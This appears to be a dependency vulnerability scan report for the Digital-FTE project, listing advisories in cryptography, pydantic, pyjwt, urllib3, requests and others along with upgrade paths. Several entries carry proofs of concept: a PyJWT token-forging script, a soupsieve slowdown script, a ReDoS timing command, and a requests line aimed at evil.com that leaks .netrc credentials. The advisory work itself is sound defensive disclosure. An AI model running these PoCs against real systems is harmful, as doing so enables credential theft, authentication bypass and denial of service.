  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation through the NameChain DNS verification logic in src/rust/cryptography-x509-verification. An attacker can make a peer name, such as bar.example.com, validate against a wildcard leaf certificate like *.example.com even when an issuing certificate in the chain excludes that DNS subtree, causing improper certificate acceptance.

Notes

  • The flaw affects X.509 path validation when DNS name constraints are present, and the leaf certificate uses a wildcard DNS SAN.
  • The maintainers note that ordinary X.509 topologies, including those used by the Web PKI, are not affected, and exploitation requires an uncommon certificate hierarchy.

Remediation

Upgrade cryptography to version 46.0.6 or higher.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@46.0.7.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write in the update function when non-contiguous buffers are provided as input. An attacker can cause memory corruption or unintended behavior by supplying specially crafted non-contiguous buffers to APIs that accept Python buffers.

Note: This is only exploitable if the Python version is greater than 3.11.

Remediation

Upgrade cryptography to version 46.0.7 or higher.

References

medium severity
new

Improper Validation of Specified Quantity in Input

  • Vulnerable module: pydantic
  • Introduced through: pydantic@2.5.3

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pydantic@2.5.3
    Remediation: Upgrade to pydantic@2.14.2.

Overview

pydantic is a Data validation and settings management using python 3.6 type hinting

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via the TypedDict validator (pydantic-core/src/validators/typed_dict.rs) and the dataclass validator (pydantic-core/src/validators/dataclass.rs) when extra data is allowed. When an input supplies both the alias and the field name of an aliased TypedDict or dataclass field, only the alias is recorded as a used key, so the field name is treated as an extra item. The extra-data pass then writes the raw, unvalidated value under the field name, overwriting the previously validated value, causing the data returned by validation to not match the declared type. BaseModel is not affected because it stores extra data separately from fields.

Note: This is only exploitable when extra='allow' (or the extra_items argument for TypedDict) is configured and the type uses aliased fields.

Remediation

Upgrade pydantic to version 2.14.2 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: pydantic
  • Introduced through: pydantic@2.5.3

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pydantic@2.5.3
    Remediation: Upgrade to pydantic@2.14.0.

Overview

pydantic is a Data validation and settings management using python 3.6 type hinting

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the parse_multihost_url() function in pydantic-core/src/validators/url.rs, which parses each host in a multi-host URL separately by prepending the entire URL prefix (including the scheme) to every host. Because the scheme can be arbitrarily long and is parsed and stored once per host, both time and memory consumption grow quadratically with input size. An attacker can supply a URL with a long scheme and many hosts to exhaust memory and CPU, causing a crash - an input of roughly a hundred kilobytes consumes approximately a gigabyte of memory. Allowed-scheme checks (e.g. postgres for PostgresDsn) occur only after parsing and do not prevent the issue.

Note: This is only exploitable in applications that validate untrusted strings into multi-host URL fields (PostgresDsn, MongoDsn, NatsDsn, or custom types built on MultiHostUrl).

Remediation

Upgrade pydantic to version 2.14.0 or higher.

References

medium severity

Improper Cleanup on Thrown Exception

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Improper Cleanup on Thrown Exception via the get_signing_key function. An attacker can exhaust system resources by sending numerous JWTs with attacker-controlled kid values, causing repeated outbound requests to the JWKS endpoint.

Note:

This is only exploitable if the JWKS fetch fails and the upstream endpoint does not implement effective rate limiting or error handling.

Remediation

Upgrade pyjwt to version 2.13.0 or higher.

References

medium severity

Inadequate Encryption Strength

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Inadequate Encryption Strength due to the HMAC and RSA key lengths used in the JSON Web Signature (JWS) implementation not meeting recommended security standards.

Remediation

Upgrade pyjwt to version 2.11.0 or higher.

References

medium severity

Incorrect Behavior Order: Validate Before Canonicalize

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize via the _load method in jwt/api_jws.py, which accepts non-canonical base64url-encoded JWS segments. Because the library does not verify that a decoded-then-re-encoded segment round-trips to the original input, an attacker can supply a JWT whose header, payload, or signature segment is a non-canonical base64url encoding that decodes to the same bytes as a legitimate token. This allows the attacker to forge or manipulate tokens in ways that bypass integrity checks, leading to limited confidentiality and integrity impact.

Remediation

Upgrade PyJWT to version 2.14.0 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the match_future_relations function when evaluating a CSS selector containing a general-sibling combinator (~) inside :has(), such as div:has(a ~ b), against HTML with many sibling elements. When no matching right-hand sibling is present, match_future_child walks every candidate element under the scope and for each one the general-sibling branch of match_future_relations walks all following siblings, producing O(n²) comparisons. An attacker supplying a document with a few thousand sibling elements can stall the process for a minute of CPU per request.

PoC

Installed from PyPI: pip install soupsieve==2.9.2 beautifulsoup4.

import time
import soupsieve
from bs4 import BeautifulSoup

selector = "div:has(a ~ b)"

for n in (1000, 2000, 4000, 8000):
    html = "<div>" + ("<a></a>" * n) + "</div>"
    soup = BeautifulSoup(html, "html.parser")
    start = time.perf_counter()
    soupsieve.select(selector, soup)
    print(n, round((time.perf_counter() - start) * 1000), "ms")

Measured:

n=1000    837 ms
n=2000   3667 ms
n=4000  14797 ms
n=8000  59746 ms

Time quadruples for each doubling of n. The n=8000 input is a ~56 KB HTML fragment.

Remediation

Upgrade soupsieve to version 2.10 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via is_pem_format in jwt/utils.py, which previously used a regex (_PEM_RE) that accepted PEM formatting variants recognised by the underlying cryptography loader but not explicitly validated by pyjwt. An attacker with high privileges can supply a key in one of these loader-accepted PEM variants to trigger a crash, causing a denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade pyjwt to version 2.14.0 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.31.0, linkedin-api@2.2.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.31.0, linkedin-api@2.2.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the jwt.decode or jwt.decode_complete functions when used with a PyJWK key. An attacker can bypass algorithm restrictions and gain unauthorized access to protected resources by signing a token with a disallowed algorithm, setting an allowed algorithm in the JWT header, and leveraging control over a registered JWK/JWKS private key.

PoC

import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode

# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))

# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}

header_b64 = base64url_encode(
    json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
    json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])

# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()

print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:")
try:
    print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
    print(f"{type(e).__name__}: {e}")

Remediation

Upgrade pyjwt to version 2.13.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: idna
  • Introduced through: requests@2.31.0, linkedin-api@2.2.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › idna@3.10
